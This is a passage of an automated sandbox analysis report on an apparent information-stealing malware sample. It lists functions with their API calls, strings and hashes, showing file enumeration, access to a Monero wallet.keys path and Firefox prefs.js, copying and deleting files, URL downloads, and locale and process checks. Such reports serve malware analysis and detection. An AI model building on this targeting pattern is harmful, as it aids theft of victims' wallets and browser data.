Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 1e1105484d2b3c2cf3778b619514356045aaa3f49dac5e0fb3da4fe5a5b51e94
Instruction ID: 0a3b0abf6bb460aa384c98172c26af94a1c254c10fa537c45a9a4a50e817767f
Opcode Fuzzy Hash: 1e1105484d2b3c2cf3778b619514356045aaa3f49dac5e0fb3da4fe5a5b51e94
Instruction Fuzzy Hash: 515182B6914318AFCB24EBB0DC85EEE737DBB48300F00858DB65996140EB75DB858F95

Function 006CF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

Part of subcall function 006DA920: lstrcpy.KERNEL32(00000000,?), ref: 006DA972
Part of subcall function 006DA920: lstrcat.KERNEL32(00000000), ref: 006DA982

Part of subcall function 006DA9B0: lstrlen.KERNEL32(?,013E8AF0,?,\Monero\wallet.keys,006E0E17), ref: 006DA9C5
Part of subcall function 006DA9B0: lstrcpy.KERNEL32(00000000), ref: 006DAA04
Part of subcall function 006DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006DAA12

Part of subcall function 006DA8A0: lstrcpy.KERNEL32(?,006E0E17), ref: 006DA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,006E15B8,006E0D96), ref: 006CF71E
StrCmpCA.SHLWAPI(?,006E15BC), ref: 006CF76F
StrCmpCA.SHLWAPI(?,006E15C0), ref: 006CF785
FindNextFileA.KERNELBASE(000000FF,?), ref: 006CFAB1
FindClose.KERNEL32(000000FF), ref: 006CFAC3

Strings

prefs.js, xrefs: 006CF812

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: a6da734fa3d570505f31bacdaa7a4087e4b499da8c1095359f5d2d74c7ab415c
Instruction ID: 93afc55af1fae359fea8206f0424e8a846f0ef43421f034fda63d26e67b2a390
Opcode Fuzzy Hash: a6da734fa3d570505f31bacdaa7a4087e4b499da8c1095359f5d2d74c7ab415c
Instruction Fuzzy Hash: 8BB15471D142049BCB64EFA0DC95FED737BAF54300F4081ADA80A9A251EF309B49DB96

Function 006C16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,006E510C,?,?,?,006E51B4,?,?,00000000,?,00000000), ref: 006C1923
StrCmpCA.SHLWAPI(?,006E525C), ref: 006C1973
StrCmpCA.SHLWAPI(?,006E5304), ref: 006C1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 006C1D40
DeleteFileA.KERNEL32(00000000), ref: 006C1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 006C1E20
FindClose.KERNEL32(000000FF), ref: 006C1E32

Part of subcall function 006DA920: lstrcpy.KERNEL32(00000000,?), ref: 006DA972
Part of subcall function 006DA920: lstrcat.KERNEL32(00000000), ref: 006DA982

Part of subcall function 006DA9B0: lstrlen.KERNEL32(?,013E8AF0,?,\Monero\wallet.keys,006E0E17), ref: 006DA9C5
Part of subcall function 006DA9B0: lstrcpy.KERNEL32(00000000), ref: 006DAA04
Part of subcall function 006DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006DAA12

Part of subcall function 006DA8A0: lstrcpy.KERNEL32(?,006E0E17), ref: 006DA905

Strings

\*.*, xrefs: 006C17F1

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: db2e0dcad77584d980d58ef11b2db2076b58b7dcefea8bfa5b35b1b458aa66b8
Instruction ID: ab8ab83b8a6ef0410a8bed93e4a847d2ed13864035165d413050de4399a71a67
Opcode Fuzzy Hash: db2e0dcad77584d980d58ef11b2db2076b58b7dcefea8bfa5b35b1b458aa66b8
Instruction Fuzzy Hash: 98127671D151589BCB55FBA0CCA6EEE733AAF14300F40419EB50A66291EF306F89CF99

Function 006CDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

Part of subcall function 006DA920: lstrcpy.KERNEL32(00000000,?), ref: 006DA972
Part of subcall function 006DA920: lstrcat.KERNEL32(00000000), ref: 006DA982

Part of subcall function 006DA9B0: lstrlen.KERNEL32(?,013E8AF0,?,\Monero\wallet.keys,006E0E17), ref: 006DA9C5
Part of subcall function 006DA9B0: lstrcpy.KERNEL32(00000000), ref: 006DAA04
Part of subcall function 006DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006DAA12

Part of subcall function 006DA8A0: lstrcpy.KERNEL32(?,006E0E17), ref: 006DA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,006E14B0,006E0C2A), ref: 006CDAEB
StrCmpCA.SHLWAPI(?,006E14B4), ref: 006CDB33
StrCmpCA.SHLWAPI(?,006E14B8), ref: 006CDB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 006CDDCC
FindClose.KERNEL32(000000FF), ref: 006CDDDE

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 381f4171ec003fad45ec1d9206d81ab8188b1af193a21d82eb1951928504ffab
Instruction ID: ff7b76981d88ff2df73100600871f51b396f78e4412626446fe05b3a94dcbccc
Opcode Fuzzy Hash: 381f4171ec003fad45ec1d9206d81ab8188b1af193a21d82eb1951928504ffab
Instruction Fuzzy Hash: 79913576D142049BCB54FBB0DC56EFD737EAF84300F40866DF90A96281EE349B099B96

Function 006C60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 006DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006DA7E6

Part of subcall function 006C47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 006C4839
Part of subcall function 006C47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 006C4849

InternetOpenA.WININET(006E0DF7,00000001,00000000,00000000,00000000), ref: 006C610F
StrCmpCA.SHLWAPI(?,013EE5B0), ref: 006C6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 006C618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 006C61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 006C61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 006C620A
CloseHandle.KERNEL32(?,?,00000400), ref: 006C6249
InternetCloseHandle.WININET(?), ref: 006C6253
InternetCloseHandle.WININET(00000000), ref: 006C6260

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: e68de8b71cfe42164c2c52fa01e1f9587d99077ac7f83b4bd4add601dd8ba416
Instruction ID: 9d83aa9d2f78fd6cec9ccc392b5637b7d254191fe3d77e765a10da98a640c98c
Opcode Fuzzy Hash: e68de8b71cfe42164c2c52fa01e1f9587d99077ac7f83b4bd4add601dd8ba416
Instruction Fuzzy Hash: 52516FB1914218AFDB20DF90DC49FEE77B9EB44701F10809DB605A72C0DB746A85DF99

Function 006D7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

GetKeyboardLayoutList.USER32(00000000,00000000,006E05AF), ref: 006D7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 006D7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 006D7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 006D7C62
LocalFree.KERNEL32(00000000), ref: 006D7D22

Strings

/ , xrefs: 006D7C7F

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 4a0d1dc66ecd16be3e39046d1fc675b642b0b1b1d5cc95cfaca5e1b1464e41d7
Instruction ID: f391d37ad5fdfa8fc3e784f9cd8a950baf2d9884bb3a757afac7b5fb15e60b16
Opcode Fuzzy Hash: 4a0d1dc66ecd16be3e39046d1fc675b642b0b1b1d5cc95cfaca5e1b1464e41d7
Instruction Fuzzy Hash: 8C417C71D15218AFCB24DB94DC99BEEB37AFF44700F20419AE40966280DB342F85CFA5

Function 006CE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

Part of subcall function 006DA920: lstrcpy.KERNEL32(00000000,?), ref: 006DA972
Part of subcall function 006DA920: lstrcat.KERNEL32(00000000), ref: 006DA982

Part of subcall function 006DA9B0: lstrlen.KERNEL32(?,013E8AF0,?,\Monero\wallet.keys,006E0E17), ref: 006DA9C5
Part of subcall function 006DA9B0: lstrcpy.KERNEL32(00000000), ref: 006DAA04
Part of subcall function 006DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006DAA12

Part of subcall function 006DA8A0: lstrcpy.KERNEL32(?,006E0E17), ref: 006DA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,006E0D73), ref: 006CE4A2
StrCmpCA.SHLWAPI(?,006E14F8), ref: 006CE4F2
StrCmpCA.SHLWAPI(?,006E14FC), ref: 006CE508
FindNextFileA.KERNEL32(000000FF,?), ref: 006CEBDF

Strings

\*.*, xrefs: 006CE44D

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 50bdef545f697e6204c2d91532a62ba7c636faa3be900d4112ed2a29f84afe3d
Instruction ID: 4dc3224596b62d4ac04c8efcbce32657f3c873c4a27e13c2880e13756df03d91
Opcode Fuzzy Hash: 50bdef545f697e6204c2d91532a62ba7c636faa3be900d4112ed2a29f84afe3d
Instruction Fuzzy Hash: A312B171D151189BDB54FBA0CCA6EED733AAF54300F4041AEB50A96291EF306F49CF9A

Function 006D9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 006D961E
Process32First.KERNEL32(006E0ACA,00000128), ref: 006D9632
Process32Next.KERNEL32(006E0ACA,00000128), ref: 006D9647
StrCmpCA.SHLWAPI(?,00000000), ref: 006D965C
CloseHandle.KERNEL32(006E0ACA), ref: 006D967A

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
